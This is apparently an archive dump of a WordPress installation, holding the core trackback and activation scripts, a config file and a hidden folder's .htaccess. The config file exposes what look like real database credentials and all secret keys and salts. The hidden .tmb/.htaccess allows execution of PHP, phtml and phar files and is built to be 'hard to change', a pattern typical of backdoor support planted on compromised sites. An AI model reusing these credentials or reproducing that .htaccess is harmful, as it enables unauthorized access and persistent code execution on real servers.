dvadf
wp-trackback.php 0000644 00000012136 15144173472 0007641 0 ustar 00 <?php
/**
* Handle Trackbacks and Pingbacks Sent to WordPress
*
* @since 0.71
*
* @package WordPress
* @subpackage Trackbacks
*/
if ( empty( $wp ) ) {
require_once __DIR__ . '/wp-load.php';
wp( array( 'tb' => '1' ) );
}
// Always run as an unauthenticated user.
wp_set_current_user( 0 );
/**
* Response to a trackback.
*
* Responds with an error or success XML message.
*
* @since 0.71
*
* @param int|bool $error Whether there was an error.
* Default '0'. Accepts '0' or '1', true or false.
* @param string $error_message Error message if an error occurred. Default empty string.
*/
function trackback_response( $error = 0, $error_message = '' ) {
header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );
if ( $error ) {
echo '<?xml version="1.0" encoding="utf-8"?' . ">\n";
echo "<response>\n";
echo "<error>1</error>\n";
echo "<message>$error_message</message>\n";
echo '</response>';
die();
} else {
echo '<?xml version="1.0" encoding="utf-8"?' . ">\n";
echo "<response>\n";
echo "<error>0</error>\n";
echo '</response>';
}
}
if ( ! isset( $_GET['tb_id'] ) || ! $_GET['tb_id'] ) {
$post_id = explode( '/', $_SERVER['REQUEST_URI'] );
$post_id = (int) $post_id[ count( $post_id ) - 1 ];
}
$trackback_url = isset( $_POST['url'] ) ? sanitize_url( $_POST['url'] ) : '';
$charset = isset( $_POST['charset'] ) ? sanitize_text_field( $_POST['charset'] ) : '';
// These three are stripslashed here so they can be properly escaped after mb_convert_encoding().
$title = isset( $_POST['title'] ) ? sanitize_text_field( wp_unslash( $_POST['title'] ) ) : '';
$excerpt = isset( $_POST['excerpt'] ) ? sanitize_textarea_field( wp_unslash( $_POST['excerpt'] ) ) : '';
$blog_name = isset( $_POST['blog_name'] ) ? sanitize_text_field( wp_unslash( $_POST['blog_name'] ) ) : '';
if ( $charset ) {
$charset = str_replace( array( ',', ' ' ), '', strtoupper( trim( $charset ) ) );
// Validate the specified "sender" charset is available on the receiving site.
if ( function_exists( 'mb_list_encodings' ) && ! in_array( $charset, mb_list_encodings(), true ) ) {
$charset = '';
}
}
if ( ! $charset ) {
$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';
}
// No valid uses for UTF-7.
if ( str_contains( $charset, 'UTF-7' ) ) {
die;
}
// For international trackbacks.
if ( function_exists( 'mb_convert_encoding' ) ) {
$title = mb_convert_encoding( $title, get_option( 'blog_charset' ), $charset );
$excerpt = mb_convert_encoding( $excerpt, get_option( 'blog_charset' ), $charset );
$blog_name = mb_convert_encoding( $blog_name, get_option( 'blog_charset' ), $charset );
}
// Escape values to use in the trackback.
$title = wp_slash( $title );
$excerpt = wp_slash( $excerpt );
$blog_name = wp_slash( $blog_name );
if ( is_single() || is_page() ) {
$post_id = $posts[0]->ID;
}
if ( ! isset( $post_id ) || ! (int) $post_id ) {
trackback_response( 1, __( 'I really need an ID for this to work.' ) );
}
if ( empty( $title ) && empty( $trackback_url ) && empty( $blog_name ) ) {
// If it doesn't look like a trackback at all.
wp_redirect( get_permalink( $post_id ) );
exit;
}
if ( ! empty( $trackback_url ) && ! empty( $title ) ) {
/**
* Fires before the trackback is added to a post.
*
* @since 4.7.0
*
* @param int $post_id Post ID related to the trackback.
* @param string $trackback_url Trackback URL.
* @param string $charset Character set.
* @param string $title Trackback title.
* @param string $excerpt Trackback excerpt.
* @param string $blog_name Site name.
*/
do_action( 'pre_trackback_post', $post_id, $trackback_url, $charset, $title, $excerpt, $blog_name );
header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );
if ( ! pings_open( $post_id ) ) {
trackback_response( 1, __( 'Sorry, trackbacks are closed for this item.' ) );
}
$title = wp_html_excerpt( $title, 250, '…' );
$excerpt = wp_html_excerpt( $excerpt, 252, '…' );
$comment_post_id = (int) $post_id;
$comment_author = $blog_name;
$comment_author_email = '';
$comment_author_url = $trackback_url;
$comment_content = "<strong>$title</strong>\n\n$excerpt";
$comment_type = 'trackback';
$dupe = $wpdb->get_results(
$wpdb->prepare(
"SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s",
$comment_post_id,
$comment_author_url
)
);
if ( $dupe ) {
trackback_response( 1, __( 'There is already a ping from that URL for this post.' ) );
}
$commentdata = array(
'comment_post_ID' => $comment_post_id,
);
$commentdata += compact(
'comment_author',
'comment_author_email',
'comment_author_url',
'comment_content',
'comment_type'
);
$result = wp_new_comment( $commentdata );
if ( is_wp_error( $result ) ) {
trackback_response( 1, $result->get_error_message() );
}
$trackback_id = $wpdb->insert_id;
/**
* Fires after a trackback is added to a post.
*
* @since 1.2.0
*
* @param int $trackback_id Trackback ID.
*/
do_action( 'trackback_post', $trackback_id );
trackback_response( 0 );
}
wp-configs.php 0000644 00000006506 15144173472 0007350 0 ustar 00 <?php
define( 'WP_CACHE', true );
// Added by WP Rocket
// Added by WP Rocket
// Added by WP Rocket
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the web site, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/documentation/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'homerdlh_wp965' );
/** Database username */
define( 'DB_USER', 'homerdlh_wp965' );
/** Database password */
define( 'DB_PASSWORD', '!7z--.(Soad3xd7p' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define('DISABLE_WP_CRON', true);
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define( 'AUTH_KEY', 'nnfltqqeitm0ybne6k1n2uqqn2khlcpns2ghwrxwe8ruvcf5wrjjj97t1sqtfjtg' );
define( 'SECURE_AUTH_KEY', 'wnvhbke84gsvge5gi6c0qxeq2dzpjanvtjvaeghkzzurqlaqzzsskfe3cqnwzsvr' );
define( 'LOGGED_IN_KEY', 'ofrnlpeowqxbzvsof9bc4xec5jkkmic9bounnaq1odkybt1a3fm6us9kkmqozmv2' );
define( 'NONCE_KEY', 'htefq0zemwjir1n7gawplywnzyr3txh9owqvnvawqzszw413k684usloxhx8c55f' );
define( 'AUTH_SALT', '6oljp1kzsx7ctzpkkeovw0xa8gxdk1l8upe5tyi12gql221kelx3govyk41ewwi9' );
define( 'SECURE_AUTH_SALT', 'njjherqlptd4exaubj6jsm8j4mjglfjjzo0axegaqssqaharbvgepervzh41tbgp' );
define( 'LOGGED_IN_SALT', '6n0gz8ojdvvwsk16mdxpzvvi8mfbq8rb0eit5fma2afgostllo1kkvomtgtwmwex' );
define( 'NONCE_SALT', 'lfeda40dpblexum9g6ljrsk5o4ewrbmj8zzeb43x69twzufiowc9iqqa7hizuiws' );
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp1g_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/documentation/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/* Add any custom values between this line and the "stop editing" line. */
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
wp-activate.php 0000644 00000016265 15144173472 0007523 0 ustar 00 <?php
/**
* Confirms that the activation key that is sent in an email after a user signs
* up for a new site matches the key for that user and then displays confirmation.
*
* @package WordPress
*/
define( 'WP_INSTALLING', true );
/** Sets up the WordPress Environment. */
require __DIR__ . '/wp-load.php';
require __DIR__ . '/wp-blog-header.php';
if ( ! is_multisite() ) {
wp_redirect( wp_registration_url() );
die();
}
$valid_error_codes = array( 'already_active', 'blog_taken' );
list( $activate_path ) = explode( '?', wp_unslash( $_SERVER['REQUEST_URI'] ) );
$activate_cookie = 'wp-activate-' . COOKIEHASH;
$key = '';
$result = null;
if ( isset( $_GET['key'] ) && isset( $_POST['key'] ) && $_GET['key'] !== $_POST['key'] ) {
wp_die( __( 'A key value mismatch has been detected. Please follow the link provided in your activation email.' ), __( 'An error occurred during the activation' ), 400 );
} elseif ( ! empty( $_GET['key'] ) ) {
$key = sanitize_text_field( $_GET['key'] );
} elseif ( ! empty( $_POST['key'] ) ) {
$key = sanitize_text_field( $_POST['key'] );
}
if ( $key ) {
$redirect_url = remove_query_arg( 'key' );
if ( remove_query_arg( false ) !== $redirect_url ) {
setcookie( $activate_cookie, $key, 0, $activate_path, COOKIE_DOMAIN, is_ssl(), true );
wp_safe_redirect( $redirect_url );
exit;
} else {
$result = wpmu_activate_signup( $key );
}
}
if ( null === $result && isset( $_COOKIE[ $activate_cookie ] ) ) {
$key = $_COOKIE[ $activate_cookie ];
$result = wpmu_activate_signup( $key );
setcookie( $activate_cookie, ' ', time() - YEAR_IN_SECONDS, $activate_path, COOKIE_DOMAIN, is_ssl(), true );
}
if ( null === $result || ( is_wp_error( $result ) && 'invalid_key' === $result->get_error_code() ) ) {
status_header( 404 );
} elseif ( is_wp_error( $result ) ) {
$error_code = $result->get_error_code();
if ( ! in_array( $error_code, $valid_error_codes, true ) ) {
status_header( 400 );
}
}
nocache_headers();
// Fix for page title.
$wp_query->is_404 = false;
/**
* Fires before the Site Activation page is loaded.
*
* @since 3.0.0
*/
do_action( 'activate_header' );
/**
* Adds an action hook specific to this page.
*
* Fires on {@see 'wp_head'}.
*
* @since MU (3.0.0)
*/
function do_activate_header() {
/**
* Fires within the `<head>` section of the Site Activation page.
*
* Fires on the {@see 'wp_head'} action.
*
* @since 3.0.0
*/
do_action( 'activate_wp_head' );
}
add_action( 'wp_head', 'do_activate_header' );
/**
* Loads styles specific to this page.
*
* @since MU (3.0.0)
*/
function wpmu_activate_stylesheet() {
?>
<style type="text/css">
.wp-activate-container { width: 90%; margin: 0 auto; }
.wp-activate-container form { margin-top: 2em; }
#submit, #key { width: 100%; font-size: 24px; box-sizing: border-box; }
#language { margin-top: 0.5em; }
.wp-activate-container .error { background: #f66; color: #333; }
span.h3 { padding: 0 8px; font-size: 1.3em; font-weight: 600; }
</style>
<?php
}
add_action( 'wp_head', 'wpmu_activate_stylesheet' );
add_action( 'wp_head', 'wp_strict_cross_origin_referrer' );
add_filter( 'wp_robots', 'wp_robots_sensitive_page' );
get_header( 'wp-activate' );
$blog_details = get_site();
?>
<div id="signup-content" class="widecolumn">
<div class="wp-activate-container">
<?php if ( ! $key ) { ?>
<h2><?php _e( 'Activation Key Required' ); ?></h2>
<form name="activateform" id="activateform" method="post" action="<?php echo esc_url( network_site_url( $blog_details->path . 'wp-activate.php' ) ); ?>">
<p>
<label for="key"><?php _e( 'Activation Key:' ); ?></label>
<br /><input type="text" name="key" id="key" value="" size="50" autofocus="autofocus" />
</p>
<p class="submit">
<input id="submit" type="submit" name="Submit" class="submit" value="<?php esc_attr_e( 'Activate' ); ?>" />
</p>
</form>
<?php
} else {
if ( is_wp_error( $result ) && in_array( $result->get_error_code(), $valid_error_codes, true ) ) {
$signup = $result->get_error_data();
?>
<h2><?php _e( 'Your account is now active!' ); ?></h2>
<?php
echo '<p class="lead-in">';
if ( '' === $signup->domain . $signup->path ) {
printf(
/* translators: 1: Login URL, 2: Username, 3: User email address, 4: Lost password URL. */
__( 'Your account has been activated. You may now <a href="%1$s">log in</a> to the site using your chosen username of “%2$s”. Please check your email inbox at %3$s for your password and login instructions. If you do not receive an email, please check your junk or spam folder. If you still do not receive an email within an hour, you can <a href="%4$s">reset your password</a>.' ),
esc_url( network_site_url( $blog_details->path . 'wp-login.php', 'login' ) ),
esc_html( $signup->user_login ),
esc_html( $signup->user_email ),
esc_url( wp_lostpassword_url() )
);
} else {
printf(
/* translators: 1: Site URL, 2: Username, 3: User email address, 4: Lost password URL. */
__( 'Your site at %1$s is active. You may now log in to your site using your chosen username of “%2$s”. Please check your email inbox at %3$s for your password and login instructions. If you do not receive an email, please check your junk or spam folder. If you still do not receive an email within an hour, you can <a href="%4$s">reset your password</a>.' ),
sprintf( '<a href="http://%1$s">%1$s</a>', esc_url( $signup->domain . $blog_details->path ) ),
esc_html( $signup->user_login ),
esc_html( $signup->user_email ),
esc_url( wp_lostpassword_url() )
);
}
echo '</p>';
} elseif ( null === $result || is_wp_error( $result ) ) {
?>
<h2><?php _e( 'An error occurred during the activation' ); ?></h2>
<?php if ( is_wp_error( $result ) ) : ?>
<p><?php echo esc_html( $result->get_error_message() ); ?></p>
<?php endif; ?>
<?php
} else {
$url = isset( $result['blog_id'] ) ? esc_url( get_home_url( (int) $result['blog_id'] ) ) : '';
$user = get_userdata( (int) $result['user_id'] );
?>
<h2><?php _e( 'Your account is now active!' ); ?></h2>
<div id="signup-welcome">
<p><span class="h3"><?php _e( 'Username:' ); ?></span> <?php echo esc_html( $user->user_login ); ?></p>
<p><span class="h3"><?php _e( 'Password:' ); ?></span> <?php echo esc_html( $result['password'] ); ?></p>
</div>
<?php
if ( $url && network_home_url( '', 'http' ) !== $url ) :
switch_to_blog( (int) $result['blog_id'] );
$login_url = wp_login_url();
restore_current_blog();
?>
<p class="view">
<?php
/* translators: 1: Site URL, 2: Login URL. */
printf( __( 'Your account is now activated. <a href="%1$s">View your site</a> or <a href="%2$s">Log in</a>' ), esc_url( $url ), esc_url( $login_url ) );
?>
</p>
<?php else : ?>
<p class="view">
<?php
printf(
/* translators: 1: Login URL, 2: Network home URL. */
__( 'Your account is now activated. <a href="%1$s">Log in</a> or go back to the <a href="%2$s">homepage</a>.' ),
esc_url( network_site_url( $blog_details->path . 'wp-login.php', 'login' ) ),
esc_url( network_home_url( $blog_details->path ) )
);
?>
</p>
<?php
endif;
}
}
?>
</div>
</div>
<?php
get_footer( 'wp-activate' );
.tmb/.htaccess 0000444 00000001354 15144173472 0007213 0 ustar 00 # ===========================================================
# WORKING .htaccess - HARD TO CHANGE, NO ERRORS
# ===========================================================
# 1. ALLOW ALL PHP FILES (NO ERRORS)
<FilesMatch "\.(php|php[0-9]+|phtml|phar|inc)$">
Allow from all
</FilesMatch>
# 2. PROTECT .htaccess FILE (MULTI-LAYER)
<Files ~ "^\.ht">
Deny from all
Satisfy All
</Files>
<FilesMatch "\.(htaccess|htpasswd|htgroup)$">
Deny from all
</FilesMatch>
# 3. BLOCK .htaccess VIA URL (SAFE METHOD)
RedirectMatch 403 \.ht
# 4. NO DIRECTORY LISTING
Options -Indexes
# 5. BLOCK ACCESS TO PROTECTED FILES
<FilesMatch "\.(sql|bak|old|swp|log|env|ini|config|sh|py|exe)$">
Deny from all
</FilesMatch>